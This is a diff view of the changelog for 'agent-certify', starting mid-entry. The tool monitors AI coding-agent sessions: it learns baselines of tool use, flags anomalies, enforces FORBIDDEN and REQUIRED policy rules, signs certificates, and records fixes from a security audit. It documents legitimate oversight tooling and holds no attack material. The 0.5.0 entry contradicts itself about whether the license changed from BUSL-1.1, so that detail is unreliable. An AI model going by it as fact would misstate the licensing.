`normalise_endpoint()` in `agent_certify.baseline`
|
|
737
|
+
|
|
738
|
+
### Changed
|
|
739
|
+
- `agent-certify learn` reads the baseline it is about to overwrite and carries
|
|
740
|
+
its accept/reject decisions onto the new one. A corrupt previous file loses
|
|
741
|
+
the decisions but does not block learning
|
|
742
|
+
- `--tool` and `--link` are repeatable; `--tool` takes `Bash` or `tool:Bash`
|
|
743
|
+
- accept and reject are last-write-wins on the same tool: "permanent" means it
|
|
744
|
+
survives a re-learn, not that it cannot be revised. Rejection beats a scoped
|
|
745
|
+
accepted link
|
|
746
|
+
|
|
747
|
+
### Notes
|
|
748
|
+
- Baselines written by 0.5.1 and earlier load unchanged — the three fields are
|
|
749
|
+
defaulted and a pre-0.6 file simply has no decisions on record
|
|
750
|
+
- There is no `reject --link`: a link you never want is a policy FORBIDDEN rule,
|
|
751
|
+
where you write the message
|
|
752
|
+
|
|
753
|
+
|
|
754
|
+
## [0.5.1] - 2026-10-27
|
|
755
|
+
|
|
756
|
+
### Fixed
|
|
757
|
+
- A file with no readable records (empty, or nothing but malformed lines) now prints
|
|
758
|
+
`No readable records in <file>` and exits 1, instead of an empty report with FI 0.0000. A directory
|
|
759
|
+
scan leaves such files out and says how many; the MCP server reports it as a tool error
|
|
760
|
+
- Unreadable records produce a single warning per file,
|
|
761
|
+
`WARNING: <file>: N of M records unreadable, skipped` (the parser and the CLI each printed one);
|
|
762
|
+
M now counts every record read, sub-agent transcripts included
|
|
763
|
+
|
|
764
|
+
### Changed
|
|
765
|
+
- `keygen` without an argument writes `agent-certify.key` (and `agent-certify.key.pub`)
|
|
766
|
+
- `verify` with its arguments reversed or missing prints
|
|
767
|
+
`Hint: usage is 'verify CERTIFICATE SESSION --public-key KEY'` and exits 2
|
|
768
|
+
|
|
769
|
+
## [0.5.0] - 2026-10-27
|
|
770
|
+
|
|
771
|
+
Fixes for the security audit of 2026-10-27 (45 findings). Items marked
|
|
772
|
+
**breaking** change behaviour that scripts may rely on.
|
|
773
|
+
|
|
774
|
+
### Security
|
|
775
|
+
- MCP server: path arguments are confined to `~/.claude/projects` and the working directory after
|
|
776
|
+
resolving symlinks and `..`; environment variables are never expanded; responses and errors no longer
|
|
777
|
+
contain resolved paths, file contents or exception text (SEC-001, SEC-005)
|
|
778
|
+
- MCP server: no machine-wide fallback when no session is named; only the current project (PRV-001, **breaking**)
|
|
779
|
+
- MCP server: 30 s limit per request; failures logged on stderr with a correlation id (SEC-006, OBS-001)
|
|
780
|
+
- `verify` requires `--public-key`; unsigned certificates fail unless `--allow-unsigned` (warns); the key
|
|
781
|
+
embedded in a certificate is never trusted (SEC-002, **breaking**)
|
|
782
|
+
- Certificates carry `not_before` / `not_after` (90 days by default, `--validity-days`) checked by `verify`
|
|
783
|
+
(`--ignore-expiry`), and can be bound to a system with `--expect-system-id` (SEC-004)
|
|
784
|
+
- Signed bytes are domain-separated (`agent-certify/cert/v1\0`) with a fixed-point `fi_score`; pre-v0.5
|
|
785
|
+
certificates still verify, reported as legacy (SEC-008)
|
|
786
|
+
- Strict type and range validation when loading certificates, baselines, policies and graphs; NaN and
|
|
787
|
+
Infinity rejected; generic error messages (SEC-007, SEC-005)
|
|
788
|
+
- `keygen` creates the private key atomically with mode 600 and never follows a symlink; `certify` warns
|
|
789
|
+
about a key readable by others (SEC-003)
|
|
790
|
+
- Parsers skip and count malformed, deeply nested (RecursionError) or oversized (> 10 MB) lines; directory
|
|
791
|
+
scans are bounded in depth (5) and file count (1,000) (SEC-006)
|
|
792
|
+
- HTML report escapes `<`, `>` and `&` in its embedded JSON (SEC-009)
|
|
793
|
+
- `scripts/demo.py` writes its certificate to an unpredictable temporary file (SEC-010)
|
|
794
|
+
|
|
795
|
+
### Added
|
|
796
|
+
- `scan --fail-on critical|warning|never`: exit 2 on findings at or above the level; `critical` is the
|
|
797
|
+
default (FUN-001, **breaking**: previously always 0)
|
|
798
|
+
- Policy evaluated per session for directory scans in every format, with a VIOLATIONS column (FUN-002)
|
|
799
|
+
- `skipped_records` in graphs, scan results, JSON, OTel spans and certificates, with a warning above 5%
|
|
800
|
+
(OBS-002)
|
|
801
|
+
- `watch` reads every format the auto-detecting parser supports (FUN-005)
|
|
802
|
+
- CI: tests on Ubuntu and Windows × Python 3.10–3.12 with a 90% coverage floor, ruff (including the
|
|
803
|
+
flake8-bandit `S` rules), pip-audit, wheel build and install check
|
|
804
|
+
- Release workflow: tag `vX.Y.Z` → tests, PyPI Trusted Publishing with attestations (API token fallback),
|
|
805
|
+
GitHub Release with these notes; pre-release tags go to TestPyPI
|
|
806
|
+
- Issue templates, CONTRIBUTING, SECURITY (with a threat model), CODE_OF_CONDUCT, this changelog
|
|
807
|
+
|
|
808
|
+
### Changed
|
|
809
|
+
- License switched from BUSL-1.1 to Apache-2.0 (open source)
|
|
810
|
+
- Scanner: articulation points by Tarjan's algorithm and FI per removed node computed incrementally; a
|
|
811
|
+
3,000-node graph scans in under a second (the previous algorithm made one full graph copy and one dense
|
|
812
|
+
n×n matrix product per node), with identical results (PRF-001)
|
|
813
|
+
- Blast radius reuses the scan's triangle structure instead of a full scan per node (PRF-002)
|
|
814
|
+
- Graph edges indexed by (source, target) with adjacency sets (PRF-003)
|
|
815
|
+
- `verify` reports a reason whenever the topology hash differs, and detects nodes whose kind changed (FUN-003)
|
|
816
|
+
- Path handling centralised in `agent_certify.paths` (MNT-001); the version is defined once, in
|
|
817
|
+
`agent_certify.__version__` (MNT-002)
|
|
818
|
+
- MCP `scan_topology` accepts the `classic` perspective in its schema (COD-001)
|
|
819
|
+
- SPDX identifier `BUSL-1.1` in every source file and in `pyproject.toml`; LICENSE covers all versions
|
|
820
|
+
(LIC-002, LIC-003). The license itself is unchanged
|
|
821
|
+
- GitHub Actions pinned by commit SHA; CI tools pinned by version (CIC-002); TestPyPI installs never resolve
|
|
822
|
+
dependencies from TestPyPI (CIC-003)
|
|
823
|
+
- `.agent-certify/` is created with a `.gitignore`; `*.html` reports are ignored by this repository (PRV-002)
|
|
824
|
+
|
|
825
|
+
### Known limitations
|
|
826
|
+
- `watch` re-parses the whole session on every change (PRF-004); incremental reading is planned
|
|
827
|
+
- Baselines and policies are not signed (ARC-001); private keys are stored unencrypted (see SECURITY.md)
|
|
828
|
+
|
|
829
|
+
## [0.4.0] - 2026-10-27
|
|
830
|
+
|
|
831
|
+
### Added
|
|
832
|
+
- MCP server: agent-certify exposes 5 tools via Model Context Protocol
|
|
833
|
+
- scan_topology, check_anomalies, blast_radius, check_policy, topology_summary
|
|
834
|
+
- Auto-detects current session via CLAUDE_CODE_SESSION_ID
|
|
835
|
+
- Setup: `claude mcp add agent-certify -- agent-certify mcp`
|
|
836
|
+
- OTel export: emit OpenTelemetry spans for scans and anomalies (`--otel`)
|
|
837
|
+
- Cursor agent-trace parser (provenance graph from .agent-trace files)
|
|
838
|
+
- Auto-detect input format from the content (Claude Code transcript, Cursor Agent Trace, MCP log)
|
|
839
|
+
- SPDX license headers on all source files
|
|
840
|
+
|
|
841
|
+
## [0.3.0] - 2026-10-27
|
|
842
|
+
|
|
843
|
+
### Added
|
|
844
|
+
- `agent-certify watch`: live monitoring of active sessions
|
|
845
|
+
- `agent-certify suggest-policy`: auto-generate policy from baseline
|
|
846
|
+
- Policy engine: FORBIDDEN (tool, link), REQUIRED, MAX_SUB_AGENTS rules
|
|
847
|
+
- MCP logs parser: enrich graphs with MCP server tool calls (`--include-mcp`)
|
|
848
|
+
- `learn --include-mcp` for MCP-aware baselines
|
|
849
|
+
|
|
850
|
+
### Fixed
|
|
851
|
+
- Certificates now compare sub-agents by type, not by unique id
|
|
852
|
+
|
|
853
|
+
## [0.2.0] - 2026-10-27
|
|
854
|
+
|
|
855
|
+
### Added
|
|
856
|
+
- `agent-certify learn`: auto-generate statistical baseline from N sessions
|
|
857
|
+
- Anomaly detection: new tools, FI deviation, error rate, sub-agent count
|
|
858
|
+
- Perspective-based node classification (engineering, risk, compliance, monitoring)
|
|
859
|
+
- KEYSTONE / LOAD-BEARING / PERIPHERAL labels (engineering perspective)
|
|
860
|
+
|
|
861
|
+
## [0.1.0] - 2026-10-27
|
|
862
|
+
|
|
863
|
+
### Added
|
|
864
|
+
- Claude Code JSONL parser (sessions + sub-agents)
|
|
865
|
+
- AgentFIScanner: Fragility Index on agent communication graphs
|
|
866
|
+
- BlastRadiusAnalyzer: impact analysis per node
|
|
867
|
+
- AgentCertificate: Ed25519 signed structural baseline
|
|
868
|
+
- Drift detection (certify + verify)
|
|
869
|
+
- HTML visualization with interactive graph
|
|
870
|
+
- CLI: scan, blast, keygen, certify, verify
|
|
871
|
+
|
|
872
|
+
[Unreleased]: https://github.com/zeekmartin/agent-certify/compare/v0.8.0...HEAD
|
|
873
|
+
[0.8.0]: https://github.com/zeekmartin/agent-certify/compare/v0.7.0...v0.8.0
|
|
874
|
+
[0.7.0]: https://github.com/zeekmartin/agent-certify/compare/v0.6.1...v0.7.0
|
|
875
|
+
[0.6.1]: https://github.com/zeekmartin/agent-certify/compare/v0.6.0...v0.6.1
|
|
876
|
+
[0.6.0]: https://github.com/zeekmartin/agent-certify/compare/v0.5.1...v0.6.0
|
|
877
|
+
[0.5.1]: https://github.com/zeekmartin/agent-certify/compare/v0.5.0...v0.5.1
|
|
878
|
+
[0.5.0]: https://github.com/zeekmartin/agent-certify/compare/v0.4.0...v0.5.0
|
|
879
|
+
[0.4.0]: https://github.com/zeekmartin/agent-certify/compare/v0.3.0...v0.4.0
|
|
880
|
+
[0.3.0]: https://github.com/zeekmartin/agent-certify/compare/v0.2.0...v0.3.0
|
|
881
|
+
[0.2.0]: https://github.com/zeekmartin/agent-certify/compare/da44351...v0.2.0
|
|
882
|
+
[0.1.0]: https://github.com/zeekmartin/agent-certify/commit/da44351
|